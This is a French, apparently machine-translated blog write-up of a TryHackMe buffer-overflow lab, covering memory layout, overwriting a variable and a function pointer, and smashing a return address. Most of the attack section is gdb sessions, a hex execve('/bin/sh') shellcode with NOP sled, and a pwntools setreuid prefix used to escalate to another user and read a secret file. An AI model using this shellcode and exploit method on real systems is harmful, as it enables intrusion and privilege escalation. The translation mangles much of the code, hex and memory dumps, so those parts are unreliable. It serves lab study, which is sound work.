![[Tryhackme] J'ai en fait essayé le débordement de tampon! Buffer déborde la rédaction](https://hack-lab-256.com/wp-content/uploads/2023/05/hack-lab-256-samnail-20.jpg)
Cette fois, nous allons essayer un débordement de tampon.
Construire un environnement est également difficile, donc je vais étudier dans la salle ci-dessous sur Tryhackme.
"Tryhackme-Buffer déblows: https://tryhackme.com/room/bof1 "
Piétiner
Piétiner
Piétiner
Piétiner
Introduction
Tout d'abord, démarrez la machine cible.
Sélectionnez "Démarrer la machine" à l'écran ci-dessous.
Si l'adresse IP s'affiche, le démarrage est terminé.
Connectez-vous à notre réseau, déployez la machine et connectez-vous avec les informations d'identification ci-dessus.
Une fois que vous avez fait cela, vous pouvez SSH à la machine cible à l'aide de "User1: user1password".
┌fiques (hackLab㉿hackLab) - [~] └─ $ ssh user1@10.10.165.6 L'authenticité de l'hôte '10 .10.165.6 (10.10.165.6) 'ne peut pas être établie. ED25519 l'empreinte digitale clé est SHA256: asf56rwywwhaw06lwzfqzsby9 + gun1jrymqrk3fp5du. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui AVERTISSEMENT: Ajouté en permanence '10 .10.165.6 '(ED25519) à la liste des hôtes connus. user1@10.10.165.6's Mot de passe: Dernière connexion: mer 27 novembre 21:42:30 2019 de 82.34.52.37 __ | __ | _) _ | (/ Amazon Linux 2 ami ___ | \ ___ | https://aws.amazon.com/amazon-inux-2/ [user1 @ ip-10-10-165-6 ~] $ Répondre
Disposition du processus
Ici, vous trouverez une explication de la disposition de la mémoire dans le processus.
Veuillez lire les explications pour chaque individu.
Je vais le résumer comme une note personnelle.
- L'ordinateur exécute le programme en tant que processus.
- Plusieurs processus peuvent être exécutés simultanément, mais pour être précis, ils basculent entre les processus très rapidement et semblent s'exécuter simultanément. (Commutateur de contexte)
- Stack d'utilisateur: contient des informations nécessaires pour exécuter le programme.
Comprend les compteurs de programme actuels, les registres enregistrés et d'autres informations.
La pile utilisateur augmente vers le bas. (Les sections à partir de la pile utilisateur sont une mémoire inutilisée) - Régions de bibliothèque partagées: utilisé pour lier statiquement / dynamiquement les bibliothèques utilisées dans les programmes.
- Heap: augmente ou diminue dynamiquement selon que le programme alloue la mémoire dynamiquement.
Au-dessus du tas, il y a des sections non allouées qui sont utilisées lorsque la taille du tas augmente. - Code du programme et données (code / données): stocke le fichier exécutable du programme et les variables initialisées.
Où est stocké la mémoire allouée dynamiquement?
Répondre
Où les informations sur les fonctions (par exemple les arguments locaux) sont-ils stockés?
Répondre
PROCÉDURES X86-64
Ensuite, expliquons les piles.
Il n'y avait rien de nouveau à ce sujet, alors lisez-le par vous-même.
Dans quelle direction la pile pousse-t-elle (L pour les inférieurs / h pour plus)
Répondre
Quelle instruction est utilisée pour ajouter des données sur la pile?
Répondre
Les procédures sont poursuivies
Je vais juste publier la réponse ici aussi.
Quel registre stocke l'adresse de retour?
Répondre
Endication
Différentes architectures représentent les mêmes nombres hexadécimaux de différentes manières. C'est ce qu'on appelle Endianess.
- Little Endian: La valeur est placée de l'octet le moins significatif à l'octet le plus significatif.
- Big Endian: La valeur est placée de l'octet le plus significatif au octet le moins significatif.
Lisez ceci.
Répondre
Variables d'écrasement
À partir de maintenant, ce sera un format pratique.
Dans le dossier Overflow-1, il y a "int-overflow.c" donc je vais jeter un œil.
[user1 @ ip-10-10-165-6 Overflow-1] $ cat int-overflow.c #include<stdlib.h> #inclure<unistd.h> #inclure<stdio.h> int main (int argc, char ** argv) {volatile int variable = 0; tampon char [14]; obtient (tampon); if (variable! = 0) {printf ("Vous avez modifié la valeur de la variable \ n"); } else {printf ("réessayer? \ n"); }}La pile est stockée vers le bas, nous pouvons donc supposer qu'il est "variable"> "tampon".
Lorsque les données sont copiées ou écrites dans un tampon, les données sont écrites de l'adresse inférieure à l'adresse supérieure.
La fonction GET entre des données de l'entrée standard dans le tampon, mais la fonction GET ne vérifie pas réellement la longueur, il est donc possible d'écraser les variables. (En d'autres termes, si vous entrez des données de 14 octets ou plus, vous pouvez écraser la variable.)
Quel est le nombre minimum de caractères nécessaires pour écraser la variable?
Je vais l'essayer et l'essayer.
Tout d'abord, essayez de saisir 14 octets comme vous vous y attendez plus tôt.
[user1 @ ip-10-10-165-6 Overflow-1] $ gcc int-overflow.c [user1 @ ip-10-10-165-6 overflow-1] $ ./a.out 01234567890123 Ressayer?Le message "réessayez" a été sorti, vous pouvez donc voir qu'il n'a pas été écrasé.
Ensuite, essayez de saisir 15 octets.
[user1 @ ip-10-10-165-6 Overflow-1] $ ./A.out 012345678901234 Vous avez modifié la valeur de la variableLa sortie a changé d'avant.
Cela a prouvé que la variable n'était pas 0, il était donc possible de l'écraser!
Répondre
Pointeurs de fonction d'écrasement
Essayez de remplacer le pointeur de fonction et d'appeler une autre fonction.
Tout d'abord, jetons un coup d'œil à "Func-Pointer.C" dans Overflow-2.
[User1 @ IP-10-10-22-183 Overflow-2] $ Cat func-pointer.c #include<stdlib.h> #inclure<unistd.h> #inclure<stdio.h> void spécial () {printf ("Ceci est la fonction spéciale \ n"); printf ("Vous avez fait ceci, ami! \ n"); } void normal () {printf ("Ceci est la fonction normale \ n"); } void autre () {printf ("Pourquoi est-ce ici?"); } int main (int argc, char ** argv) {volatile int (* new_ptr) () = normal; tampon char [14]; obtient (tampon); new_ptr (); }La variable au-dessus du tampon n'est pas un pointeur vers la fonction, mais est l'emplacement de la mémoire de la fonction normale.
Cet emplacement de mémoire sera écrasé.
Ici, nous utilisons le GDB (débogueur).
[User1 @ IP-10-10-22-183 Overflow-2] $ gdb func-pointer GNU GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. Licence GPLV3 +: GNU GPL version 3 ou tard<http://gnu.org/licenses/gpl.html> Ceci est un logiciel gratuit: vous êtes libre de le changer et de le redistribuer. Il n'y a pas de garantie, dans la mesure permise par la loi. Tapez "Afficher la copie" et "AVERTISSEMENT AVERTISSEMENT" pour plus de détails. Ce GDB a été configuré comme "x86_64-redhat-linux-gni". Tapez "Afficher la configuration" pour les détails de configuration. Pour les instructions de rapport de bogues, veuillez consulter:<http://www.gnu.org/software/gdb/bugs/> . Trouvez le manuel GDB et d'autres ressources de documentation en ligne sur:<http://www.gnu.org/software/gdb/documentation/> . Pour obtenir de l'aide, tapez "Aide". Tapez "APROPOS Word" pour rechercher des commandes liées à "Word" ... Symboles de lecture de Func-Pointer ... (Aucun symbole de débogage trouvé) ... fait. (gdb) Définir les colonnes EXEC-WAPPAPPER ENV -UTout d'abord, exécutez-le et essayez de saisir 13 octets.
(GDB) Exécutez le programme de démarrage: / home / user1 / overflow-2 / func-poter manquant debuginfos, utilisation: debuginfo-install glibc-2.26-32.amzn2.0.1.x86_64 1234567890123 Il s'agit de la fonction normale [inférieur 1 (processus 3567) éteint normalement]]La fonction normale est en cours d'exécution, non?
Ensuite, essayez de l'exécuter en 15 octets.
(GDB) Exécuter le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / Home / User1 / Overflow-2 / Func-Pointer 123456789012345 Programme reçu Signal Sigsegv, défaut de segmentation. 0x0000000400035 dans ?? ()Le bord droit de l'adresse est défini sur "35". (Code hexadécimal de "5")
Ce qui signifie que l'adresse de la destination de retour a été écrasée.
Maintenant, essayons de l'exécuter en 20 octets.
(GDB) Exécuter le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / Home / User1 / Overflow-2 / Func-Pointer 1234567890123455555 Programme reçu Signal Sigsegv, défaut de segmentation. 0x0000353535 dans ?? ()Toutes les valeurs renvoyées ont été écrasées "35".
Ensuite, essayez de l'exécuter en 21 octets.
(GDB) Exécuter le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / Home / User1 / Overflow-2 / Func-Pointer 12345678901234555555 Programme reçu Signal Sigsegv, défaut de segmentation. 0x00000004005da dans main ()C'est un endroit différent donc c'est exagéré.
En d'autres termes, j'ai découvert qu'il y avait 6 octets pour écraser l'adresse.
Pour le réécrire à l'adresse de la fonction spéciale, regardons l'adresse de la fonction spéciale.
(GDB) Désassemblement du vidage spécial du code de l'assembleur pour la fonction spécial: 0x0000000400567 <+0>: Push% RBP 0x0000000400568 <+1>: MOV% RSP,% RBP 0x0000000040056B <+4>: MOV 0x400680,% EDI 0x000000400570<puts@plt> 0x000000000400575 <+14>: Mov 0x40069d,% edi 0x0000000040057a <+19>: Callq 0x400460<puts@plt> 0x0000000040057f <+24>: NOP 0x00000000400580 <+25>: Pop% RBP 0x0000000400581 <+26>: fin de la fin du vidage de l'assembleur."0x00000000400567" est l'adresse de la fonction spéciale.
Maintenant, réécrivons-le à l'adresse indiquée ci-dessus.
Ici, puisque c'est peu endian, "00000400567" est le suivant:
\ x67 \ x05 \ x40 \ x00 \ x00 \ x00 \ x00Ensuite, convertissez-le en code ASCII.
g ^ e @Veuillez noter que ^ e est "Ctrl + E".
Une fois que vous connaissez le code ASCII, essayez de l'exécuter et de le réécrire.
(GDB) Exécuter le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / Home / User1 / Overflow-2 / Func-Pointer 12345678901234G ^ E @ Ceci est la fonction spéciale que vous avez fait, ami! [Inférieur 1 (processus 5144) est sorti normalement]La fonction spéciale a été correctement exécutée.
Invoquez la fonction spéciale () (appelle la fonction spéciale)
C'est bien, faites-le comme si vous appeliez la fonction spéciale plus tôt.
[User1 @ IP-10-10-22-183 Overflow-2] $ ./func-pointer 12345678901234g ^ e @ c'est la fonction spéciale que vous avez fait, ami!Répondre
Déborde
Ensuite, essayez d'utiliser un débordement de tampon pour obtenir le shell.
C'est là que cela devient un peu plus compliqué. . .
Tout d'abord, allez sur Overflow-3 et vérifiez "Buffer-Overflow.c."
[User1 @ IP-10-10-22-183 Overflow-3] $ Cat Buffer-Overflow.c #include<stdio.h> #inclure<stdlib.h> void copy_arg (char * string) {char tampon [140]; strcpy (tampon, chaîne); printf ("% s \ n", tampon); retour 0; } int main (int argc, char ** argv) {printf ("voici un programme qui écho est à votre entrée \ n"); copy_arg (argv [1]); }Vous pouvez voir que Strcpy () copie à partir de l'argument de la ligne de commande argv [1] à un tampon de 140 byte de longueur.
Strcpy () ne vérifie pas la longueur, il est donc possible de déborder le tampon.
La pile ajoute une adresse de retour, mais le tampon est copié vers le haut, donc un débordement de tampon peut écraser l'adresse de retour.
Contrôlez où la fonction revient et essayez de modifier le flux d'exécution du programme.
Utilisez la méthode ci-dessus pour ouvrir un shell et lire le contenu du fichier secret.txt.
Maintenant, tout comme avant, nous utiliserons GDB.
[User1 @ IP-10-10-22-183 Overflow-3] $ GDB Buffer-Overflow GNU GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. Licence GPLV3 +: GNU GPL version 3 ou tard<http://gnu.org/licenses/gpl.html> Ceci est un logiciel gratuit: vous êtes libre de le changer et de le redistribuer. Il n'y a pas de garantie, dans la mesure permise par la loi. Tapez "Afficher la copie" et "AVERTISSEMENT AVERTISSEMENT" pour plus de détails. Ce GDB a été configuré comme "x86_64-redhat-linux-gni". Tapez "Afficher la configuration" pour les détails de configuration. Pour les instructions de rapport de bogues, veuillez consulter:<http://www.gnu.org/software/gdb/bugs/> . Trouvez le manuel GDB et d'autres ressources de documentation en ligne sur:<http://www.gnu.org/software/gdb/documentation/> . Pour obtenir de l'aide, tapez "Aide". Tapez "APROPOS Word" pour rechercher des commandes liées à "Word" ... Symboles de lecture de Buffer-Overflow ... (Aucun symbole de débogage trouvé) ... fait.Tout d'abord, recherchez le début de l'adresse de retour.
La source nous dit que le tampon est de 140 bytes.
Certains entre le tampon et l'adresse de retour sont remplis par un "octet d'alignement" et un registre RBP (enregistrement de sauvegarde), et dans une architecture X64, il y a 8 octets.
En d'autres termes, il devrait être compensé comme le tampon (140) + l'octet d'alignement (??) + RBP (8).
Par conséquent, comme il est d'au moins 148 octets, nous augmenterons les octets de 148 octets jusqu'à ce que l'adresse de retour soit écrasée.
Tout d'abord, essayez de le faire fonctionner à 148 octets.
(gdb) exécuter $ (python -c "print ('a' * 148)") Programme de démarrage: / home / user1 / overflow-3 / buffer-overflow $ (python -c "print ('a' * 148)") manquant debuginfos séparé, utilisez: debuginfo-install glibc-2.26-32.amzn2.0. Entrée Programme AAAAA a reçu le signal SIGSEGV, défaut de segmentation. 0x00000000400595 dans Main ()La dernière adresse de retour n'a pas "41 (a)" et ne peut pas être écrasée.
Nous l'augmenterons progressivement et voir ce qui se passe lorsqu'il atteindra 153 octets.
(gdb) exécuter $ (python -c "print ('a' * 153)") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / home / user1 / overflow-3 / buffer-overflow $ (python -c "print ('a' * 153)") Voici un programme qui fait écho à votre entrée AAAAA Programme reçu SIGSEGV, défaut de segmentation. 0x00000000400041 en ?? ()L'adresse de retour est "41". Vous pouvez voir que l'adresse de retour a été écrasée.
Ensuite, essayez de l'exécuter à 158 octets pour voir la fin de l'adresse de retour.
(gdb) exécuter $ (python -c "print ('a' * 158)") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / home / user1 / overflow-3 / buffer-overflow $ (python -c "print ('a' * 158)") Voici un programme qui fait écho à votre entrée AAAAA Programme reçu SIGSEGV, défaut de segmentation. 0x00004141414141 dans ?? ()L'adresse de retour est remplie de "41", donc je vais essayer de l'exécuter à 159 octets.
(gdb) exécuter $ (python -c "print ('a' * 159)") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (y ou n) y Programme de démarrage: / home / user1 / overflow-3 / buffer-overflow $ (python -c "print ('a' * 159)") Voici un programme qui échoue le programme de votre programme AAAAA a reçu SIGSEGV, défaut de segmentation. 0x00000000400563 dans copy_arg ()Bien sûr, ça a été trop et c'est une adresse différente.
En d'autres termes, nous avons constaté que 6 octets de 153 à 158 sont les adresses de retour.
Ensuite, nous utiliserons le shellcode dans le tampon afin que l'adresse de retour pointe vers cette adresse.
Notez que ShellCode normal et simple ne fonctionne pas et vous devez appeler la sortie pour éviter les erreurs SIGILL.
push 0x3b pop% eax xor% rdx,% rdx movabs 0x68732f6e69622f2f,% r8 shR 0x8,% r8 push% r8 mov% rsp,% rdi push% rdx push% rdi mov% rsp,% rsi syscalle <-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------La version hexadécimale du shellcode est la suivante:
cela a été tiré du Web. (Cette fois, je le tire d'
ici Il y a 40 octets.
\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05Ensuite, nous rechercherons l'adresse du shellcode hexadécimal.
Assurez-vous que Junk (100Byte) + Shellcode (40Byte) + Junk (12 byte) + Adresse de retour (6 byte) = 158 byte. (Il n'y a pas de grande raison pour la position de Junk et Shellcode, il est donc bien de changer l'octet s'il est dans les 152 octets.)
Pour l'instant, pour l'instant, j'écrirai "A" pour Junk et "B" pour l'adresse de retour.
(gdb) exécuter $ (python -c "imprimer 'A' * 100 + '\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ xE8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '* 12 +' b '* 6 ") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (y ou n) y Programme de départ: / home / user1 / overflow-3 / buffer-overflow $ (python -c " '\ x90' * 100 + '\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ XE8 \ X08 \ X 41 \ x50 \ x48 \ x89 \ XE7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '* 12 +' b '* 6 ") Voici un programme qui fait écho à votre entrée j; xh1i // bin / shiaphrwhj
Ensuite, essayez de vider l'emplacement de la mémoire.
(GDB) x / 100x $ RSP-200 0x7ffffFFE228: 0x00400450 0x00000000 0xffffe3e0 0x000007ffff 0x7ffffffFe238: 0x00400561 0x00000000 0xf7dce8c0 0x007ffff 0x7ffffffffe248: 0xffe64affffffff 0x7ffffFFFFE248: 0xffe64aFffffffffr 0x7ffffFFFFE248: 0xFFFFE64A. 0x00007ffff 0x414141 0x414141 0x7fffffffffe258: 0x414141 0x414141 0x414141 0x414141 0x414141 0x4141414141414141414141410 0x414141 0x7ffffffffe268: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7ffffffe278: 0x414141 0x414141 0x41410 0x414141 0x414141 0x414141 0x414141 0x414141 0x7ffffffe2a8: 0x414141 0x414141 0x414141 0x414141 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7ffffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x4141414141410 0x414141 0x4141414141410 0x4141410 0x414141 0x414141 0x7fffffffffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x0000007ffff 0x7ffffffe2f8: 0x0000000 0x0000002 0x004005a02 0x00007ffff 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x000040000 0x0000002 0x7ffffffe328: 0x0040000564 0x0000002 0x000000 0x0000 0x7ffffFe338: 0x00000000000000 0x7fffffe338: 0x654a4a4af5 0xcc0a789a 0x00400450 0x0000000 0x7ffffffe348: 0xFFFFE3E0 0x0000000 0x000000 0x7ffffFFE358: 0x000000 0x0000000000000FI 0x7fffffffe368: 0x31ce4ef5 0x33f59752 0x000000 0x000000 0x7ffffFFFE378: 0x000000 0x000000 0x0000000 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7ffffffFffe3a8: 0x000000 0x0000000 0x0000000Vous pouvez voir que le tampon démarre dans "3ème rangée de 0x7fffffffe248" et ShellCode commence dans "4th Row of 0x7ffffFffe2A8".
"0x7fffffffe2a8" est la première adresse de la ligne où le shellcode est répertorié, et vous devez ajouter 4 octets par colonne.
Étant donné que le shellcode a la 4e rangée, c'est-à-dire trois lignes entre, nous ajoutons 3 * 4byte = 12byte (oxc) et nous pouvons voir que 0x7ffffFFFE2A8 + OXC = 0x7ffffffffffe2b4 est l'adresse de début du shellcode.
Cependant, parfois la mémoire change un peu et les adresses peuvent changer à chaque exécution.
Cela peut être résolu en remplissant les ordures devant le shellcode avec "NOP (\ x90)" au lieu de "A".
Un NOP est une instruction qui ne fait rien et qui est sauté.
Il saute tous les NOP et exécute le ShellCode, vous n'avez donc pas besoin d'obtenir l'adresse exacte, vous obtenez simplement l'adresse quelque part remplie de NOPS et l'exécutez.
En d'autres termes, il n'y a pas de problème même si la mémoire change légèrement.
Changez la déchet devant le shellcode de "A" à "\ x90".
(gdb) exécuter $ (python -c "imprimer '\ x90' * 100 + '\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '* 12 +' b '* 6 ") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (y ou n) y Programme de départ: / home / user1 / overflow-3 / buffer-overflow $ (python -c " '\ x90' * 100 + '\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x73 \ x68 \ x49 \ xc1 \ XE8 \ X08 \ X 41 \ x50 \ x48 \ x89 \ XE7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '* 12 +' b '* 6 ") Voici un programme qui fait écho à votre entrée j; xh1i // bin / shiaphrwhj
Vider à nouveau l'emplacement de la mémoire.
(GDB) x / 100x $ RSP-200 0x7ffffFffe228: 0x00400450 0x00000000 0xffffe3e0 0x000007ffff 0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x007ffff 0x7fffffffffffe248: 0xffe64affff 0x7fffffffffffe248: 0xffe64affff 0x7fffffffffffe248: 0xffe64affff. 0x00007ffff 0x90909090 0x909090 0x7ffffffFffe258: 0x909090 0x909090 0x909090 0x7ffffffFFFFFFFFE 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0x909090 0x909090 0x7ffffffFffe288: 0x909090 0x909090 0x909090 0x90909090 0x48583b6a 0x7ffffffe2B8: 0xB849D231 0x69622fFe2: 0xb849d2311 0x696222 0x68732f6e 0x08e8c149 0x7fffffffffe2c8: 0x89485041 0x485752e7 0x050fe689 0x48583c6a 0x7ffffffffffe2d8: 0x050ffff31 0x414141 0x414141 0x4141414141410 0x414141 0x4141414141410 0x4141410 0x414141 0x7ffffffffFffe2e8: 0x424242 0x00004242 0xfffffe3e8 0x00007ffff 0x7fffffffe2f8: 0x0000000 0x000000 0x7fffffffe318: 0xffffe3e8 0x00007ffff 0x000040000 0x0000002 0x7ffffFFE328: 0x00400564 0x000000000000000 0x000000 0x7FFFFFE338: 0x02CE8E0B 0x844e9507 0x00400450202CE8E0B 0X844E9507 0x00400450450 0x0000000 0x7fffffffe348: 0xffffe3e0 0x0000000 0x000000 0x7ffffFe358: 0x0000000 0x000000 0xcfae8e0b 0x7bb16a78 0x7ffffffe368: 0x564a8e0b 0x7B17ACF 0x000000000000000000000000B 0x7B17ACF 0x0000000000000000000000 0x7fffffffe378: 0x000000 0x0000000 0x000000 0x0000000 0x7ffffFFE388: 0xfffffe400 0x00007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe398: 0xf7DE7656 0x00007FFFFFF 0x0000000 0x00000000000 0x7fffffffffe3a8: 0x000000 0x0000000 0x0000000Le shellcode est "4e colonne de 0x7fffffffe2a8", mais il peut être rempli n'importe où avec le "90" précédent, donc cette fois, j'utiliserai "0x7ffffffFffe298" comme adresse de retour, sautez et exécuterai le Shellcode.
L'adresse de retour sera "0x7fffffffe298" ⇒ "0x98e2ffffffff7f" ⇒ "\ x98 \ xe2 \ xff \ xff \ xff \ xff \ x7f".
Essayez de remplacer "B" dans l'adresse de retour par "\ x98 \ XE2 \ xff \ xff \ xff \ xff \ x7f" et l'exécuter.
(gdb) exécuter $ (python -c "imprimer '\ x90' * 100 + '\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x 48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '* 12 +' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '") Programme de démarrage: / home / user1 / overflow-3 / buffer-overflow $ (python -c "imprimer '\ x90' * 100 + '\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '* 12 +' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '"") Voici un programme qui fait écho à votre entrée j; xh1i // bin / shiaphrwhj Vous avez réussi à acquérir la coquille.
Si vous vérifiez l'utilisateur avec whoami, vous verrez qu'il s'agit de l'utilisateur1.
SH-4.2 $ Whoami Détachement après fourche du processus enfant 5377. User1J'avais secret.txt donc j'ai essayé Cat, mais il semble que cela ne fonctionne pas avec User1.
SH-4.2 $ ls -l détachement après fourche du processus enfant 5380. Total 20 -rwsrwxr-x 1 User2 User2 8264 2 sept -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Pour le faire User2, vous devez ajouter SetReUID à votre shellcode.
Tout d'abord, regardons l'UID de l'utilisateur2.
[user1 @ ip-10-10-22-183 Overflow-3] $ cat / etc / passwd Root: x: 0: 0: root: / root: / bin / bash bin: x: 1: 1: bin: / bin: / sbin / nologin daemon: x: 2: 2: démon: / sbin: / sbin / nologin daemon: x: 2: 2: démon: / sbin: / sbin / nologin Daemon Adm: X: 3: 4: Adm: / var / adm: / sbin / nologin lp: x: 4: 7: lp: / var / spool / lpd: / sbin / nologin Sync: x: 5: 0: sync: / sbin: / bin / syncor HALT: X: 7: 0: Halt: / Sbin: / Sbin / Halt Mail: X: 8: 12: Mail: / var / Spool / Mail: / Sbin / Nologin Opérateur: X: 11: 0: Opérateur: / Root: / Sbin / Nologin Games: X: 12: 100: Jeux: / USR / Games: / Sbin / Nologin Ftp: X: 14: 50: FTP Utilisateur: / var / ftp: / sbin / nologin Nobody: X: 99: 99: Personne: /: / sbin / nologin systemd-network: x: 192: 192: Systemd Network Management: /: / sbin / nologin dbus: x: 81: 81: System Message Bus: /: / sbin / nologin RPC: Daemon: / var / lib / rpcbind: / sbin / nologin libstoragemgmt: x: 999: 997: dami compte pour libstoragemgmt: / var / run / lsm: / sbin / nologin sshd: x: 74: 74: privilege-sekaated ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vid RPCUSER: X: 29: 29: Service RPC User: / var / lib / nfs: / sbin / nologin nfsnobody: x: 65534: 65534: User anonymous NFS: / var / lib / nfs: / sbin / nologin EC2-Instance-Connect: X: 998: 996 :: / Home / EC2-Instance-Connect: / Sbin / Nologin Postfix: X: 89: 89 :: / var / Spool / Postfix: / Sbin / Nologin Chrony: X: 997: 995 :: / var / lib / chrony: / sbin / nologin tcpdump: x: 72: 72 :: / sbin / nologin ec2-user: x: 1000: 1000: ec2 user par défaut: / home / ec2-user: / bin / bash user1: x: 1001: 1001 :: / home / user1: User3: x: 1003: 1003 :: / home / user3: / bin / bashJ'ai découvert que l'UID de User2 est "1002".
Ensuite, nous utiliserons PWNTools pour générer le code hexadécimal pour la pièce setReUid ().
┌fique (hackLab㉿hackLab) - [~] └sé. $ Pwn shellcraft -fd amd64.linux.setreuid 1002 \ x31 \ xff \ x66 \ xbf \ xea \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x05Ajoutez ceci au début du shellcode.
Comme il est de 14 octets, vous devez également changer la déchet avant le shellcode à 100-14 = 86 octets.
Je vais essayer de faire ça.
[User1 @ IP-10-10-22-183 Overflow-3] $ ./buffer-overflow $ (python -c " '\ x90' * 86 + '\ x31 \ xff \ x66 \ xbf \ xea \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '* 12 +' \ x98 \ xe2 \ xff \ xff \ xff \ x7f '") Voici un programme qui fait écho à votre entrée 1fjqxhj; xh1i // bin / shiaphrwhjJ'ai acquis avec succès les autorisations User2. (Lorsque j'utilisais GDB, il resterait comme User1. Si je l'avais exécuté sans GDB, il aurait été possible de l'exécuter avec User2.)
Vérifiez Secret.txt et vous avez terminé!
SH-4.2 $ Cat Secret.txt OmgyudidThissocool !!Répondre
Buffer Overflow 2
Vient ensuite un examen de ce qui a été fait jusqu'à présent.
Tout d'abord, jetons un coup d'œil à la source c.
